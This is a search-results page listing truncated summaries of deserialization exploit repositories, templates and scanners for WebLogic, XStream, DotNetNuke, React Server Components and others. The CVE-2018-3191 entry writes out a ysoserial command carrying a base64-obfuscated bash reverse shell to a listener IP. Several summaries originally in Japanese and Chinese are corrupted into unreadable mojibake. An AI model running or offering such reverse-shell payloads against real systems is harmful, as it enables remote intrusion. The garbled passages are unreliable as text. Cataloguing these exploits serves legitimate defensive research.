34842 matches found
heyserial
HEY SERIAL! ไฝๆ่ : Alyssa Rahman @ramen0x3f ไฝๆๆฅ: 2021-10-27 ๆ็ตๆดๆฐๆฅ: 2021-12-02 ใใญใฐ: https://www.mandiant.com/resources/hunting-deserialization-exploits ใใฎใใผใซใจใใฎ่ๅพใซใใ็ ็ฉถใใญใปในใฎ่ฉณ็ดฐใซใคใใฆใฏใๅผ็คพใใญใฐใใ่ฆงใใ ใใใ ่ชฌๆ ใใทใชใขใฉใคใผใผใทใงใณใฎๆช็จใซๅฏพใใใใณใใฃใณใฐใซใผใซใใ่คๆฐใฎ่ฆ็ด ใ็ตใฟๅใใใฆใใญใฐใฉใ ็ใซไฝๆใใพใใ ใญใผใฏใผใ๏ผไพ๏ผcmd.exe๏ผ ใฌใธใงใใใใงใผใณ๏ผไพ๏ผCommonsCollection๏ผ...
CVE-2021-29505
Reproduction Process In IDEA, import the xstream component's jar package. This reproduction uses the CommonsCollections6 chain for exploitation, so import the commons-collections component jar package. POC is detailed in the attachment. First, use ysoserial to start a malicious RMI server for...
CVE-2018-3191
CVE-2018-3191 CVE-2018-3191 Reverse Shell Local IP: 172.16.38.1 WebLogic: 172.16.38.174:7001 1. Execute locally java -cp ysoserial-master.jar ysoserial.exploit.JRMPListener 2222 CommonsCollections1 'bash -c echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMzguMS83Nzc3IDA+JjE=|base64,-d|bash,-i' Then...
CVE-2019-2725
POC-EXP This script targets the CVE-2019-2725 WebLogic deserialization RCE vulnerability. Before use, please modify the VPS listening address, and submit the specified URL at runtime to complete the test. The test address is: http://192.168.209.134:49163/async/AsyncResponseService After modifying...
DotNetNuke 9.2 - 9.2.2 - Weak Encryption & Cookie Deserialization
DNN DotNetNuke versions 9.2 through 9.2.2 use a weak encryption algorithm to protect input parameters because of an incomplete fix for CVE-2018-15811. This cryptographic weakness enables attackers to craft malicious DNNPersonalization cookies that can be deserialized, leading to remote code...
Jboss Application Server - Remote Code Execution
Jboss Application Server as shipped with Red Hat Enterprise Application Platform 5.2 is susceptible to a remote code execution vulnerability because the doFilter method in the ReadOnlyAccessFilter of the HTTP Invoker does not restrict classes for which it performs deserialization, thus allowing a...
DotNetNuke 9.2 - 9.2.1 - Weak Encryption & Cookie Deserialization
DNN DotNetNuke versions 9.2 through 9.2.1 use a weak encryption algorithm to protect input parameters. This cryptographic weakness enables attackers to craft malicious DNNPersonalization cookies that can be deserialized, leading to remote code execution. id: CVE-2018-15811 info: name: DotNetNuke...
Gladinet CentreStack < 16.4.10315.56368 Use of Hard-coded Key Leads to Unauthenticated RCE
Gladinet CentreStack through 16.1.10296.56315 fixed in 16.4.10315.56368 has a deserialization vulnerability due to the CentreStack portal's hardcoded machineKey use, as exploited in the wild in March 2025. This enables threat actors who know the machineKey to serialize a payload for server-side...
XStream <1.4.16 - Remote Code Execution
XStream before 1.4.16 is susceptible to remote code execution. An attacker can load and execute arbitrary code from a remote host via manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative...
Jenkins Pipeline Groovy Plugin <=2.63 - Insecure Deserialization
Jenkins Pipeline: Groovy Plugin workflow-cps version 2.63 and earlier contains a sandbox bypass vulnerability in CpsGroovyShell.java. During parsing, compilation, and script instantiation of CPS-transformed pipeline scripts, sandbox protections are not applied, allowing authenticated users with...
CVE-2023-49070
ofbiz-xmlrpc-rce CVE-2023-49070 Apache OFBiz XML-RPC ้ข่ฎค่ฏๅๅบๅๅ RCE ็ PoC๏ผ็ผๅทไธบ CVE-2023-49070๏ผไธๆก่ฎค่ฏ็ป่ฟ่ทฏๅพ่งฃ้ไบ้็็ /webtools/control/xmlrpc ็ซฏ็น๏ผ่ฏฅ็ซฏ็นไผๅๅบๅๅๆปๅป่ ้่ฟ XML-RPC ๅๆฐๅคนๅธฆ็ๅๆง Java ๅฏน่ฑกใ โ ๏ธ ไป ไพๆๆๅฎๅ จๆต่ฏไฝฟ็จใ ไป ๅฏๅฏนๆจๆฅๆๆ่ทๅพๆ็กฎๆๆๆต่ฏ็ ็ณป็ป่ฟ่กๆญคๅทฅๅ ท๏ผCTF/ๅฎ้ช็ฏๅขใๅทฒ็ญพ็ฝฒๆๆ่ๅด็ๆธ้้กน็ฎ็ญ๏ผใ ๆช็ปๆๆ่ฎฟ้ฎ่ฎก็ฎๆบ็ณป็ปๅจๅคงๅคๆฐๅธๆณ็ฎก่พๅบๅๅฑ่ฟๆณใ ๆผๆด Apache OFBiz ็ view-map ่ฎค่ฏ้ๅธธไผไฟๆค...
CVE-2025-55182-React2Shell
React2Shell React2Shell is a proof-of-concept PoC exploit demonstrating a CRITICAL remote code execution RCE vulnerability in modern web frameworks using React Server Components RSC. This PoC targets CVE-2025-55182 , a CVSS 10.0 vulnerability that allows unauthenticated remote attackers to execut...
CVE-2025-53770-Scanner
๐ก๏ธ CVE-2025-53770 SharePoint Vulnerability Scanner A Python-based tool to detect vulnerable Microsoft SharePoint instances affected by CVE-2025-53770 , an insecure deserialization vulnerability triggered via the ToolPane.aspx endpoint. The scanner sends a crafted, compressed ViewState payload to...
AMFDSer-ngng
AMFDSer-ngng A Burp Extender plugin, that will take deserialized AMF objects and encode them in XML using the Xtream library. Based on the original work of Khai Tran, all hail https://blog.netspi.com/ AMFDSer-ngng also utilizes part of Kenneth Hill's Jmeter source code for custom AMF...
CVE-2025-55182
CVE-2025-55182 โ React2Shell: Advanced Exploit & Master's Thesis Research -brightred Deserialization of Untrusted Data + Prototype Pollution in React Server Components Unauthenticated Remote Code Execution via Next.js Server Actions Affected: React 19.0.0 - 19.2.0 ยท Patch: React 19.0.1 / 19.1.2 /...
CVE-2026-36239
CVE-2026-36239 CVE-2026-36239: Authenticated RCE in PbootCMS v3.2.12 backend sitecopyright Vulnerability Overview: A critical remote code execution RCE vulnerability has been identified in the sitecopyright functionality of the PbootCMS backend administration interface. Specifically, untrusted...
flight-risk
flight-risk flight risk /flaษชt rษชsk/ โ React's Flight protocol is the serialization layer behind React Server Components. CVE-2025-55182 exploits a deserialization flaw in Flight to achieve pre-auth RCE. If your app uses RSC, it's a flight risk. Security toolkit for CVE-2025-55182 React2Shell โ a...
React2P4IM0Nshell
React2P4IM0Nshell ๐ฅExtension Tool for Advanced RCE/Source Leak/Dos CVE-2025-55182/83/84 Auditing and Exploitation for Next.js and React Server Components RSC environments directly from your browser, with built-in linux terminal in the extension to receive any reverse shell โ โก CMDCENTER: The Core...
L4J-Vuln-Patch
NOTICE This tool is no longer necessary mojang has released its own patch which should cover everyone who is affected https://www.minecraft.net/en-us/article/important-message--security-vulnerability-java-edition WARNING THIS EXPLOIT EFFECTS BOTH CLIENTS AND SERVERS There is currently a exploit...
CVE-2021-2302
CVE-2021-2302 Author: quynhle Gadget chain javax.management.BadAttributeValueExpException.readObject oracle.security.jps.az.internal.common.principals.toString oracle.security.jps.az.internal.common.principals.getResolvedPrincipal . . . con.newInstance...